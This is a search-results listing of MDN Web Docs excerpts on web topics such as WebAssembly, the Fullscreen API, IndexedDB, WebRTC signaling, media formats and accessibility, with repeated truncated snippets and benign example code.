uriloader/base/nsI
WebProgressListener.idlScriptable This interface is implemented by clients wishing to listen in on the progress associated with the loading of asynchronous requests in the context of a nsI
WebProgress instance as well as any child nsI
WebProgress instances. Inherits from: nsISupports Last changed in Gecko 15 (Firefox 15 / Thunderbird 15 / SeaMonkey 2.12) nsI
WebProgress describes the parent-child relationship of nsI
WebProgress instances. ...
... the progress associated with the loading of asynchronous requests in the context of a nsI
WebProgress instance as well as any child nsI
WebProgress instances. Inherits from: nsISupports Last changed in Gecko 15 (Firefox 15 / Thunderbird 15 / SeaMonkey 2.12) nsI
WebProgress describes the parent-child relationship of nsI
WebProgress instances. ...
... associated with the loading of asynchronous requests in the context of a nsI
WebProgress instance as well as any child nsI
WebProgress instances. Inherits from: nsISupports Last changed in Gecko 15 (Firefox 15 / Thunderbird 15 / SeaMonkey 2.12) nsI
WebProgress describes the parent-child relationship of nsI
WebProgress instances. ...
...And 29 more matches
Image file type and format guide - Web media technologies
In this guide, we'll cover the image file types generally supported by
web browsers, and provide insights that will help you select the most appropriate formats to use for your site's imagery. Common image file types There are many image file formats in the world. However, the ones listed below are generally recognized as usable on the
Web, though BMP is generally not recommended as browser support is potentially constrained; it should usually be avoided for
web content. Abbreviation File format MIME type File extension(s) Browser compatibility APNG Animated Portable Network Graphics image/apng .apng Chrome, Edge, Firefox, Opera, Safari BMP Bitmap file image/bmp .bmp Chrome, Edge, Firefox, Internet Explorer, Opera, Safari...
... Image file type details The following sections provide a...
... Image file type details The following sections provide a brief o...
...And 29 more matches
Client-Server Overview - Learn web development
Previous Overview: First steps Next Now that you know the purpose and potential benefits of server-side programming we're going to examine in detail what happens when a server receives a "dynamic request" from a browser. As most
website server-side code handles requests and responses in similar ways, this will help you understand what you need to do when writing most of your own code. Prerequisites: Basic computer literacy. A basic understanding of what a
web server is. ...
...a server receives a "dynamic request" from a browser. As most
website server-side code handles requests and responses in similar ways, this will help you understand what you need to do when writing most of your own code. Prerequisites: Basic computer literacy. A basic understanding of what a
web server is. Objective: To understand client-server interactions in a dynamic
website, and in particular what operations need to be performed by server-side code. There is no real code in the discussion because we haven't yet chosen a
web framework to use to write our code! This discussion is however still very relevant, because the described behaviour must be implemented by your server-side code, irrespective of which programming language or
web framework you select. ...
...site, and in particular what operations need to be performed by server-side code. There is no real code in the discussion because we haven't yet chosen a
web framework to use to write our code! This discussion is however still very relevant, because the described behaviour must be implemented by your server-side code, irrespective of which programming language or
web framework you select.
Web servers and HTTP (a primer)
Web browsers communicate with
web servers using the HyperText Transfer Protocol (HTTP). When you click a link on a
web page, submit a form, or run a search, the browser sends an HTTP Request to the server. This request includes: A URL identifying the target server and resource (e.g. an HTML file, a particular data point on the server, or a tool to run). A method ...
...And 28 more matches
Choosing the right approach - Learn web development
up being only 60 milliseconds. When your code has the potential to take longer to run than the time interval you've assigned, it's better to use recursive setTimeout() -- this will keep the time interval constant between executions regardless of how long the code takes to execute, and you won't get errors. ...
... 1 Full support 1 Full support 52Notes Notes setInterval now defined on WindowOrWorkerGlobalScope mixin.IE Full support 4Opera Full support 4Safari Full support 1
WebView Android Full support 4.4Chrome Android Full support 30Firefox Android Full support 4 Full support 4 Full support 52Notes Notes setInterval now defined on WindowOrWorkerGl...
...ports parameters for callbackChrome Full support YesEdge Full support 12Firefox Full support YesIE Full support 10Opera Full support YesSafari ?
WebView Android Full support YesChrome Android Full support YesFirefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android Full support YesThrottling of tracking time...
...And 27 more matches
WebAssembly
WebAssembly is a new type of code that can be run in modern
web browsers -- it is a low-level assembly-like language with a compact binary format that runs with near-native performance and provides languages such as C/C++, C# and Rust with a compilation target so that they can run on the
web. It is also designed to run alongside JavaScript, allowing both to work together. In a Nutshell
WebAssembly has huge implications for the
web platform -- it provides a way to run code written in multiple languages on the
web at near native speed, with client apps running on the
web that previously couldn't have done so. ...
...C++, C# and Rust with a compilation target so that they can run on the
web. It is also designed to run alongside JavaScript, allowing both to work together. In a Nutshell
WebAssembly has huge implications for the
web platform -- it provides a way to run code written in multiple languages on the
web at near native speed, with client apps running on the
web that previously couldn't have done so.
WebAssembly is designed to complement and run alongside JavaScript -- using the
WebAssembly JavaScript APIs, you can load
WebAssembly modules into a JavaScript app and share functionality between the two. This allows you to take advantage of
WebAssembly's performance and power and JavaScript's expressiveness and flexibility in the same apps, even if you don't know how to write
WebAssembly code. And ...
...avaScript -- using the
WebAssembly JavaScript APIs, you can load
WebAssembly modules into a JavaScript app and share functionality between the two. This allows you to take advantage of
WebAssembly's performance and power and JavaScript's expressiveness and flexibility in the same apps, even if you don't know how to write
WebAssembly code. And what's even better is that it is being developed as a
web standard via the W3C
WebAssembly Working Group and Community Group with active participation from all major browser vendors. Guides
WebAssembly concepts Get started by reading the high-level concepts behind
WebAssembly -- what it is, why it is so useful, how it fits into the
web platform (and beyond), and how to use it. Compiling a New C/C++ Module to
WebAssembly When you've written code...
...And 27 more matches
Aprender y obtener ayuda - Learn web development
It is great that you are putting some time into learning a new set of skills, but there are good practices to employ that will make your learning more effective. There are also are times when you'll get stuck and feel frustrated -- even professional
web developers feel like this regularly -- and it pays to know about the most effective ways to try and get help so you can progress in your work. This article provides some hints and tips in both of these areas that will help you get more out of learning
web development, as well as further reading so you can find out more information about each sub-topic should you wish.. Effective learning Let's move straight on and think about effective learning. Different learning methods It is interesting to consider that there are two main ways in which...
...o surprising how many times this does happen. This also highlights the importance of taking regular breaks when you are studying in front of the computer. Different learning materials It is also worth looking at the different types of learning materials that are available, to see which ones are most effective for you to learn with. Textual articles You'll find a lot of written articles on the
web to teach you about
web design. Like most of this course, for example. Some of the articles will be tutorials, to teach you a certain technique or important concept (such as "learn how to create a video player" or "Learn the CSS box model"), and some of the articles will be reference material, to allow you to look up details you may have forgotten (such as "what is the syntax of the CSS background...
...t
web design. Like most of this course, for example. Some of the articles will be tutorials, to teach you a certain technique or important concept (such as "learn how to create a video player" or "Learn the CSS box model"), and some of the articles will be reference material, to allow you to look up details you may have forgotten (such as "what is the syntax of the CSS background property"?) MDN
Web Docs is very good for both types -- the area you are currently in is great for learning techniques and concepts, and we also have several giant reference sections allowing you to look up any syntax you can't remember. There are also several other great resources on the
web, some of which we'll mention below. Note: The above text should have given you an important fact -- you aren't expected to...
...And 26 more matches
The Business Benefits of Web Standards - Archive of obsolete content
Introduction and Context Doing more with less seems to be the mission impossible for
web designers: Addressing more customers, a broader audience, more diversity in terms of browsers, more accessibility, users asking for more speed, while spending less to maintain or redesign a
web site. Caught between a rock and a hard place,
web designers face a formidable challenge. Yet they are finding an unsuspected ally in the battle:
Web Standards. This article discusses how adhering to
web standards, and leaving behind proprietary markup and technologies, can contribute to a company's business goals. Site Wide Consistent Look and Feel By separating structure (or content) from presentation,
web designers have a lot to gain. Specifically, presentation is defined using layout-oriented CSS lan...
...is respect where on many platforms including WordPress, TextPattern and Habari, the site theme is a complete and discrete entity in its own right. Improved User Experience: Less Bandwidth and Fast Loads HTML code is often much more compact (therefore easier to read and maintain) when used in conjunction with CSS. According to various reports, case studies, and Andy King, author of Speed Up Your
Web Site:
Web Site Optimization, CSS has made it possible to transform table-based layouts into CSS-based layouts. Typically this reduces page size by 25 to 50%. This translates into better user experience, according to Usability Guru Jakob Nielsen, who notes that users tend to close a
web page when it takes more than 10 seconds to load. The style sheet only needs to load once and then it is cached.
...In this case, every bit helps. By using semantic markup we greatly assist the Search Engines in their indexing process. These things come naturally to Standards developers without additional effort, time or thought. All their documents are properly marked up at the outset. The number of sites which do not include proper titles and descriptions in the meta is surprising. ...
...And 24 more matches
Introduction to client-side frameworks - Learn web development
t-side frameworks. Prerequisites: Familiarity with the core HTML, CSS, and JavaScript languages. Objective: To understand how client-side JavaScript frameworks came to exist, what problems they solve, what alternatives there are, and how to go about choosing one. A brief history When JavaScript debuted in 1996, it added occasional interactivity and excitement to a
web that was, up until then, composed of static documents. The
web became not just a place to read things, but to do things. JavaScript's popularity steadily increased. Developers who worked with JavaScript wrote tools to solve the problems they faced, and packaged them into reusable packages called libraries, so they could share their solutions with others. This shared ecosystem of libraries helped ...
..., composed of static documents. The
web became not just a place to read things, but to do things. JavaScript's popularity steadily increased. Developers who worked with JavaScript wrote tools to solve the problems they faced, and packaged them into reusable packages called libraries, so they could share their solutions with others. This shared ecosystem of libraries helped shape the growth of the
web. Now, JavaScript is an essential part of the
web, used on 95% of all
websites, and the
web is an essential part of modern life. Users write papers, manage their budgets, stream music, watch movies, and communicate with others over great distances instantaneously, with text, audio or video chat. ...
...their solutions with others. This shared ecosystem of libraries helped shape the growth of the
web. Now, JavaScript is an essential part of the
web, used on 95% of all
websites, and the
web is an essential part of modern life. Users write papers, manage their budgets, stream music, watch movies, and communicate with others over great distances instantaneously, with text, audio or video chat. The
web allows us to do things that used to be possible only in native applications installed on our computers. These modern, complex, interactive
websites are often referred to as
web applications. The advent of modern JavaScript frameworks has made it much easier to build highly dynamic, interactive applications. A framework is a library that offers opinions about how software gets built. These opinio...
...And 24 more matches
Guide to the Fullscreen API - Web APIs
screen mode, as well as how to detect when the browser enters or exits full-screen mode. Activating full-screen mode Given an element that you'd like to present in full-screen mode (such as a <video>, for example), you can present it in full-screen mode by simply calling its requestFullscreen() method. Let's consider this <video> element: <video controls id="myvideo"> <source src="somevideo.
webm"></source> <source src="somevideo.mp4"></source> </video> We can put that video into full-screen mode as follows: var elem = document.getElementById("myvideo"); if (elem.requestFullscreen) { elem.requestFullscreen(); } This code checks for the existence of the requestFullscreen() method before calling it. Presentation differences It's worth noting a key difference here between the Geck...
...ource> <source src="somevideo.mp4"></source> </video> We can put that video into full-screen mode as follows: var elem = document.getElementById("myvideo"); if (elem.requestFullscreen) { elem.requestFullscreen(); } This code checks for the existence of the requestFullscreen() method before calling it. ...
..."myvideo"); if (elem.requestFullscreen) { elem.requestFullscreen(); } This code checks for the existence of the requestFullscreen() method before calling it. Presentation differences It's worth noting a key difference here between the Gecko and
WebKit implementations at this time: Gecko automatically adds CSS rules to the element to stretch it to fill the screen: "width: 100%; height: 100%".
WebKit doesn't do this; instead, it centers the fullscreen element at the same size in a screen that's otherwise black. ...
...And 24 more matches
Introduction to the server side - Learn web development
Overview: First steps Next Welcome to the MDN beginner's server-side programming course! In this first article, we look at server-side programming from a high level, answering questions such as "what is it?", "how does it differ from client-side programming?", and "why it is so useful?". After reading this article you'll understand the additional power available to
websites through server-side coding. ...
...n this first article, we look at server-side programming from a high level, answering questions such as "what is it?", "how does it differ from client-side programming?", and "why it is so useful?". After reading this article you'll understand the additional power available to
websites through server-side coding. Prerequisites: Basic computer literacy. A basic understanding of what a
web server is. Objective: To gain familiarity with what server-side programming is, what it can do, and how it differs from client-side programming. Most large-scale
websites use server-side code to dynamically display different data when needed, generally pulled out of a database stored on a server and sent to the client to be displayed via some code (e.g. HTML and JavaScript). ...
...Dynamic sites can highlight content that is more relevant based on user preferences and habits. It can also make sites easier to use by storing personal preferences and information -- for example reusing stored credit card details to streamline subsequent payments. ...
...And 23 more matches
Inputs and input sources - Web APIs
Targeting is the specification of a point in space by the user's input. ...
...Targeting is the specification of a point in space by the user's input. ...
...Targeting is the specification of a point in space by the user's input. ...
...And 23 more matches
Selection API - Web APIs
at specification. Editor's Draft Initial (older) definition, which is now outdated. Browser compatibility Selection The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1Notes Full support 1Notes Notes The GlobalEventHandlers.onselectionchange and GlobalEventHandlers.onselectstart event handlers are supported as of Firefox 52.IE Full support 9Opera Full support 9Safari Full support 1
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 4Notes Full support 4Notes Notes The GlobalEventHandlers.onselectionchange and GlobalEventHandlers.onselectstart event handlers are s...
... 1.0addRange ExperimentalChrome Full support 1Edge Full support 12Firefox Full support YesIE ? ...
...And 22 more matches
Handling common accessibility problems - Learn web development
tools for finding accessibility issues. Prerequisites: Familiarity with the core HTML, CSS, and JavaScript languages; an idea of the high level principles of cross browser testing. Objective: To be able to diagnose common Accessibility problems, and use appropriate tools and techniques to fix them. What is accessibility? When we say accessibility in the context of
web technology, most people immediately think of making sure
websites/apps are usable by people with disabilities, for example: Visually impaired people using screen readers or magnification/zoom to access text People with motor function impairments using the keyboard (or other non-mouse features) to activate
website functionality. People with hearing impairments relying on captions/subtitles or...
...Some examples might include: Users on mobile devices. Users on alternative browsing devices such as TVs, watches, etc. ...
...t have slow processors. In a way, this whole module is about accessibility -- cross browser testing makes sure that your sites can be used by as many people as possible. What is accessibility? defines accessibility more completely and thoroughly than this article does. That said, this article will cover cross browser and testing issues surrounding people with disabilities, and how they use the
Web. We've already talked about other spheres such as responsive design and performance in other places in the module. Note: Like many things in
web development, accessibility isn't about 100% success or not; 100% accessibility is pretty much impossible to achieve for all content, especially as sites get more complex. Instead, it is more about making a reasonable effort to make as much of your cont...
...And 21 more matches
WebAssembly - JavaScript
The
WebAssembly JavaScript object acts as the namespace for all
WebAssembly-related functionality. Unlike most other global objects,
WebAssembly is not a constructor (it is not a function object). You can compare it to Math, which is also a namespace object for mathematical constants and functions, or to Intl which is the namespace object for internationalization constructors and other language-sensitive functions. Description The primary uses for the
WebAssembly object are: Loading
WebAssembly code, using the
WebAssembly.instantiate() function. Creating new memory and table instances via the
WebAssembly.Memory()/
WebAssembly.Table() constructors. ...
...ch is the namespace object for internationalization constructors and other language-sensitive functions. Description The primary uses for the
WebAssembly object are: Loading
WebAssembly code, using the
WebAssembly.instantiate() function. Creating new memory and table instances via the
WebAssembly.Memory()/
WebAssembly.Table() constructors. Providing facilities to handle errors that occur in
WebAssembly via the
WebAssembly.CompileError()/
WebAssembly.LinkError()/
WebAssembly.RuntimeError() constructors. Constructor properties
WebAssembly.CompileError() Indicates an error during
WebAssembly decoding or validation.
WebAssembly.Global() Represents a global variable instance, accessible from both JavaScript and importable/exportable across one or more
WebAssembly.Module instances. This...
...bAssembly.LinkError()/
WebAssembly.RuntimeError() constructors. Constructor properties
WebAssembly.CompileError() Indicates an error during
WebAssembly decoding or validation.
WebAssembly.Global() Represents a global variable instance, accessible from both JavaScript and importable/exportable across one or more
WebAssembly.Module instances. This allows dynamic linking of multiple modules.
WebAssembly.Instance() Is a stateful, executable instance of a
WebAssembly.Module
WebAssembly.LinkError() Indicates an error during module instantiation (besides traps from the start function).
WebAssembly.Memory() An object whose buffer property is a resizable ArrayBuffer that holds the raw bytes of memory accessed by a
WebAssembly Instance. ...
...And 21 more matches
Web Performance
The longer it takes for a site to respond, the more users will abandon the site. ...
... The longer it takes for a site to respond, the more users will abandon the site. ...
... The longer it takes for a site to respond, the more users will abandon the site. ...
...And 21 more matches
From object to iframe — other embedding technologies - Learn web development
Previous Overview: Multimedia and embedding Next By now you should really be getting the hang of embedding things into your
web pages, including images, video and audio. At this point we'd like to take somewhat of a sideways step, looking at some elements that allow you to embed a wide variety of content types into your
webpages: the <iframe>, <embed> and <object> elements. <iframe>s are for embedding other
web pages, and the other two allow you to embed PDFs, SVG, and even Flash -- a technology that is on the way out, but which you'll still see semi-regularly. Prerequisites: Basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with HTML fundamentals (as covered in Getting started with HTML) and the previous articles in t...
...Fs, SVG, and even Flash -- a technology that is on the way out, but which you'll still see semi-regularly. Prerequisites: Basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with HTML fundamentals (as covered in Getting started with HTML) and the previous articles in this module. Objective: To learn how to embed items into
web pages using <object>, <embed>, and <iframe>, like Flash movies and other
webpages. A short history of embedding A long time ago on the
Web, it was popular to use frames to create
websites -- small parts of a
website stored in individual HTML pages. These were embedded in a master document called a frameset, which allowed you to specify the area on the screen that each frame filled, rather...
...They did however have many problems, which far outweighed any positives as network speeds got faster, so you don't see them being used anymore. ...
...And 20 more matches
Video and audio content - Learn web development
Previous Overview: Multimedia and embedding Next Now that we are comfortable with adding simple images to a
webpage, the next step is to start adding video and audio players to your HTML documents! In this article we'll look at doing just that with the <video> and <audio> elements; we'll then finish off by looking at how to add captions/subtitles to your videos. Prerequisites: Basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with HTML fundamentals (as covered in Getting started with HTML) and Images in HTML. Objective: To learn how to embed video and audio content into a
webpage, and add captions/subtitles to video. Video and audio on the
web Web developers have wanted to use video and audio on the...
...asic computer literacy, basic software installed, basic knowledge of working with files, familiarity with HTML fundamentals (as covered in Getting started with HTML) and Images in HTML. Objective: To learn how to embed video and audio content into a
webpage, and add captions/subtitles to video. ...
... To learn how to embed video and audio content into a
webpage, and add captions/subtitles to video. Video and audio on the
web Web developers have wanted to use video and audio on the
Web for a long time, ever since the early 2000s when we started to have bandwidth fast enough to support any kind of video (video files are much larger than text or even images.) In the early days, native
web technologies such as HTML didn't have the ability to embed video and audio on the
Web, so proprietary (or plugin-based) technologies like Flash (and later, Silverlight) became popular for handling such content. This kind of technology worked ok, but it had a number of problems, including not working well with HTML/CSS features, security issues, and accessibility issues. A native solution would s...
...And 20 more matches
Signaling and video calling - Web APIs
WebRTC allows real-time, peer-to-peer, media exchange between two devices. A connection is established through a discovery and negotiation process called signaling. This tutorial will guide you through building a two-way video-call.
WebRTC is a fully peer-to-peer technology for the real-time exchange of audio, video, and data, with one central caveat. A form of discovery and media format negotiation must take place, as discussed elsewhere, in order for two devices on different networks to locate one another. This process is called signaling and involves both devices connecting to a third, mutually agreed-upon server. Through this third server, the two devices can locate one another, and exchange negotiation messages. ...
... and media format negotiation must take place, as discussed elsewhere, in order for two devices on different networks to locate one another. This process is called signaling and involves both devices connecting to a third, mutually agreed-upon server. Through this third server, the two devices can locate one another, and exchange negotiation messages. In this article, we will further enhance the
WebSocket chat first created as part of our
WebSocket documentation (this article link is forthcoming; it isn't actually online yet) to support opening a two-way video call between users. You can try out this example on Glitch, and you can remix the example to experiment with it as well. You can also look at the full project on GitHub. Note: If you try out the example on Glitch, please note that an...
...n Glitch, and you can remix the example to experiment with it as well. You can also look at the full project on GitHub. Note: If you try out the example on Glitch, please note that any changes made to the code will immediately reset any connections. In addition, there is a short timeout period; the Glitch instance is for quick experiments and testing only. The signaling server Establishing a
WebRTC connection between two devices requires the use of a signaling server to resolve how to connect them over the internet. A signaling server's job is to serve as an intermediary to let two peers find and establish a connection while minimizing exposure of potentially private information as much as possible. How do we create this server and how does the signaling process actually work? First we ...
...And 20 more matches
Web Console remoting - Firefox Developer Tools
Introduction This document describes the way
Web Console remoting works. The
Web Console is split between a client with its user interface, and the server which has listeners for all the things that happen in the tab. For communication between the server and the client we use the Remote Debugging Protocol. This architecture allows you to connect a
Web Console client instance to a server running on B2G, Fennec or some other Firefox instance. To better understand the architecture of the
Web Console we recommend learning about the debugger architecture. The remote
Web Console is a feature introduced in Firefox 18. This document describes the latest protocol, with changes that have been made since then. ...
...tecture allows you to connect a
Web Console client instance to a server running on B2G, Fennec or some other Firefox instance. To better understand the architecture of the
Web Console we recommend learning about the debugger architecture. The remote
Web Console is a feature introduced in Firefox 18. This document describes the latest protocol, with changes that have been made since then. The
WebConsoleActor and the
WebConsoleClient The
WebConsoleActor lives in dbg-
webconsole-actors.js, in the toolkit/devtools/
webconsole folder. The
WebConsoleClient lives in
WebConsoleClient.jsm (in toolkit/devtools/
webconsole) and it is used by the
Web Console when working with the
Web Console actor. ...
... The NetworkEventActor is used for each new network request. ...
...And 19 more matches
IDBKeyRange - Web APIs
A key is in a key range if the following conditions are true: The lower value of the key range is one of the following: undefined Less than key value Equal to key value if lowerOpen is false. The upper value of the key range is one of the following: undefined Greater than key value Equal to key value if upperOpen is false. Note: This feature is available in
Web Workers. Properties IDBKeyRange.lower Read only Lower bound of the key range. IDBKeyRange.upper Read only Upper bound of the key range. IDBKeyRange.lowerOpen Read only Returns false if the lower-bound value is included in the key range. IDBKeyRange.upperOpen Read only Returns false if the upper-bound value is included in the key range. Methods Static methods IDBKeyRange.bound...
...PI DraftThe definition of 'IDBKeyRange' in that specification. Recommendation Adds includes(). Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...st. ...
...And 19 more matches
Permissions - Web APIs
PermissionsThe definition of 'Permissions' in that specification. Working Draft Initial definition. Browser Support The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...issionsChrome Full support 43Edge Full support 79Firefox Full support 46IE No support NoOpera Full support YesSafari No support No
WebView Android Full support 43Chrome Android Full support 43Firefox Android Full support 46Opera Android Full support YesSafari iOS No support NoSamsung Internet Android ...
...support 4.0accelerometer permissionChrome Full support 62Edge Full support 79Firefox ? IE No support NoOpera ? Safari No support No
WebView Android Full support 62Chrome Android Full support 62Firefox Android ? Opera Android ? Safari iOS No support NoSamsung Internet Android Full support 8.0acc...
...And 19 more matches
Handling common HTML and CSS problems - Learn web development
nd techniques to fix them. The trouble with HTML and CSS Some of the trouble with HTML and CSS lies with the fact that both languages are fairly simple, and often developers don't take them seriously, in terms of making sure the code is well-crafted, efficient, and semantically describes the purpose of the features on the page. In the worst cases, JavaScript is used to generate the entire
web page content and style, which makes your pages inaccessible, and less performant (generating DOM elements is expensive). In other cases, nascent features are not supported consistently across browsers, which can make some features and styles not work for some users. Responsive design problems are also common -- a site that looks good in a desktop browser might provide a terrible experience on a m...
...up (HTML, CSS, JavaScript), and CSS Lint (CSS only). These allows you to paste your code into a window, and it will flag up any errors with crosses, which can then be hovered to get an error message informing you what the problem is. Dirty Markup also allows you to make fixes to your markup using the Clean button. However, it is not very convenient to have to copy and paste your code over to a
web page to check its validity several times. What you really want is a linter that will fit into your standard workflow with the minimum of hassle. Many code editors have linter plugins. Github's Atom code editor for example has a rich plugin ecosystem available, with many linting options. To show you an example of how such plugins generally work: Install Atom (if you haven't got an up-to-date v...
...as old IE versions) or you are using features that are implemented using CSS prefixes. In general, most core HTML and CSS functionality (such as basic HTML elements, CSS basic colors and text styling) works across most browsers you'll want to support; more problems are uncovered when you start wanting to use newer features such as Flexbox, or HTML5 video/audio, or even more nascent, CSS Grids or -
webkit-background-clip: text. Once you've identified a list of potential problem technologies you will be using, it is a good idea to research what browsers they are supported in, and what related techniques are useful. See Finding help below. HTML fallback behaviour Some problems can be solved by just taking advantage of the natural way in which HTML/CSS work. Unrecognised HTML elements are trea...
...And 18 more matches
BluetoothRemoteGATTDescriptor - Web APIs
Interface interface BluetoothRemoteGATTDescriptor { readonly attribute BluetoothGATTCharacteristic characteristic; readonly attribute UUID uuid; readonly attribute ArrayBuffer? value; Promise<ArrayBuffer> readValue(); Promise<void> writeValue(BufferSource value); }; Properties BluetoothRemoteGATTDescriptor.characteristicRead only Returns the BluetoothRemoteGATTCharacteristic this descriptor belongs to. ...
...toothRemoteGATTDescriptor.readValue() Returns a Promise that resolves to an ArrayBuffer holding a duplicate of the value property if it is available and supported. Otherwise it throws an error. BluetoothRemoteGATTDescriptor.writeValue() Sets the value property to the bytes contained in an ArrayBuffer and returns a Promise. Specifications Specification Status Comment
Web BluetoothThe definition of 'BluetoothRemoteGATTDescriptor' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaS...
... definition of 'BluetoothRemoteGATTDescriptor' in that specification. Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. DesktopMobileChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetBluetoothRemoteGATTDescriptor ExperimentalChrome Full support 57Notes Full support 57Notes Notes macOS only. Full support 57Notes Disabled Notes Linux and versions of Windows ea...
...And 18 more matches
Audio for Web games - Game development
We often need to decide which audio parts are essential to our games' experience and which are nice to have but not essential, and devise a strategy accordingly. This article provides a detailed guide to implementing audio for
web games, looking at what works currently across as wide a range of platforms as possible. Mobile audio caveats By far the most difficult platforms to provide
web audio support for are mobile platforms. Unfortunately these are also the platforms that people often use to play games. ...
... navigate. We often need to decide which audio parts are essential to our games' experience and which are nice to have but not essential, and devise a strategy accordingly. This article provides a detailed guide to implementing audio for
web games, looking at what works currently across as wide a range of platforms as possible. Mobile audio caveats By far the most difficult platforms to provide
web audio support for are mobile platforms. Unfortunately these are also the platforms that people often use to play games. There are a couple of differences between desktop and mobile browsers that may have caused browser vendors to make choices that can make
web audio difficult for game developers to work with. Let's look at these now. Autoplay Browser autoplay policy now affects desktop and mobi...
...we can now use JavaScript to play that file at arbitrary points. You can find out more about best practises with the autoplay policy here. Note: Playing part of your file at zero volume could also work if the browser allows you to change volume (see below). Also note that playing and immediately pausing your audio does not guarantee that a small piece of audio won't be played. Note: Adding a
web app to your mobile's homescreen may change its capabilities. In the case of autoplay on iOS, this appears to be the case currently. If possible, you should try your code on several devices and platforms to see how it works. Volume Programmatic volume control may be disabled in mobile browsers. The reason often given is that the user should be in control of the volume at the OS level and this s...
...And 17 more matches
What are hyperlinks? - Learn web development
Summary Hyperlinks, usually called links, are a foundational concept behind the
Web. To explain what links are, we need to step back to the very basics of
Web architecture. ...
... Summary Hyperlinks, usually called links, are a foundational concept behind the
Web. To explain what links are, we need to step back to the very basics of
Web architecture. ...
... Summary Hyperlinks, usually called links, are a foundational concept behind the
Web. To explain what links are, we need to step back to the very basics of
Web architecture. ...
...And 17 more matches
Client-side tooling overview - Learn web development
Overview: Understanding client-side tools Next In this article we provide an overview of modern
web tooling, what kinds of tools are available and where you'll meet them in the lifecycle of
web app development, and how to find help with individual tools. Prerequisites: Familiarity with the core HTML, CSS, and JavaScript languages. Objective: To understand what types of client-side tooling there are, and how to find tools and get help with them. Overview of modern tooling Writing software for the
web has become more sophisticated through the ages. Although it is still entirely reasonable to write HTML, CSS, and JavaScript "by hand" there is now a wealth of tools that developers can use to speed up the process of building a
web site, or app. There are ...
... are being written and released every day to solve specific problems. You might even find yourself writing a piece of software to aid your own development process, to solve a specific problem that existing tools don't already seem to handle. It is easy to become overwhelmed by the sheer number of tools that can be included in a single project. Equally, a single configuration file for a tool like
Webpack can be hundreds of lines long, most of which are magical incantations that seem to do the job but which only a master engineer will fully understand! From time to time, even the most experienced of
web developers get stuck on a tooling problem; it is possible to waste hours attempting to get a tooling pipeline working before even touching a single line of application code. If you have found ...
...As with any complex topic, it is good to start small, and gradually work your way up to more advanced uses. ...
...And 17 more matches
WebRequest.jsm
The
WebRequest module is new in Firefox 41. The
WebRequest module provides an API to add event listeners for the various stages of making an HTTP request. The event listener receives detailed information about the request, and can modify or cancel the request. You can use this API to implement a content policy in an add-on (for example, an ad or script blocker), as you could using nsIContentPolicy. More generally, you can also use this API instead of HTTP request observers. You can use
WebRequest.jsm in either the chrome or content processes. The
WebRequest API is modeled on Chrome's
webRequest extension API, which makes it easier to write cross-browser add-on code. There are some differences between this API and Chrome's, though: see Chrome incompatibilities for the details. Us...
... generally, you can also use this API instead of HTTP request observers. You can use
WebRequest.jsm in either the chrome or content processes. The
WebRequest API is modeled on Chrome's
webRequest extension API, which makes it easier to write cross-browser add-on code. There are some differences between this API and Chrome's, though: see Chrome incompatibilities for the details. ...
... API instead of HTTP request observers. You can use
WebRequest.jsm in either the chrome or content processes. The
WebRequest API is modeled on Chrome's
webRequest extension API, which makes it easier to write cross-browser add-on code. There are some differences between this API and Chrome's, though: see Chrome incompatibilities for the details. ...
...And 17 more matches
IDBFactory - Web APIs
Methods IDBFactory.open The current method to request opening a connection to a database. ...
...names and versions. Example In the following code snippet, we make a request to open a database, and include handlers for the success and error cases. For a full working example, see our To-do Notifications app (view example live.) // In the following line, you should include the prefixes of implementations you want to test. ...
...le live.) // In the following line, you should include the prefixes of implementations you want to test. window.indexedDB = window.indexedDB || window.mozIndexedDB || window.
webkitIndexedDB || window.msIndexedDB; // DON'T use "var indexedDB = ..." if you're not in a function. ...
...And 17 more matches
Media container formats (file types) - Web media technologies
WebRTC does not use a container at all. ...
...he format of audio and video media files is defined in two parts (three if a file has both audio and video in it, of course): the audio and/or video codecs used and the media container format (or file type) used. In this guide, we'll look at the container formats used most commonly on the
web, covering basics about their specifications as well as their benefits, limitations, and ideal use cases.
WebRTC does not use a container at all. Instead, it streams the encoded audio and video tracks directly from one peer to another using MediaStreamTrack objects to represent each track. See Codecs used by
WebRTC for information about codecs commonly used for making
WebRTC calls, as well as browser compatibility information around codec support in
WebRTC. Common container formats While there are a va...
... as well as browser compatibility information around codec support in
WebRTC. Common container formats While there are a vast number of media container formats, the ones listed below are the ones you are most likely to encounter. Some support only audio while others support both audio and video. The MIME types and extensions for each are listed.The most commonly used containers for media on the
web are probably MPEG-4 (MP4), QuickTime Movie (MOV), and the Wavefile Audio File Format (WAV). However, you may also encounter MP3, Ogg,
WebM, AVI, and other formats. Not all of these are broadly supported by browsers, however; some combinations of container and codec are sometimes given their own file extensions and MIME types as a matter of convenience, or because of their ubiquity. For example, a...
...And 17 more matches
Introduction to game development for the Web - Game development
The range of games that can be created is on par with desktop and native OS counterparts. With modern
Web technologies and a recent browser, it's entirely possible to make stunning, top-notch games for the
Web. And we're not talking about simple card games or multi-player social games that have in the olden days been done using Flash(R). We're talking about kick-ass 3D action shooters, RPGs, and more. Thanks to massive performance improvements in JavaScript just-in-time compiler technology and new APIs, you can build games that run in the browser (or on HTML5-powered devices) without making compromises. ...
...i-player social games that have in the olden days been done using Flash(R). We're talking about kick-ass 3D action shooters, RPGs, and more. Thanks to massive performance improvements in JavaScript just-in-time compiler technology and new APIs, you can build games that run in the browser (or on HTML5-powered devices) without making compromises. ...
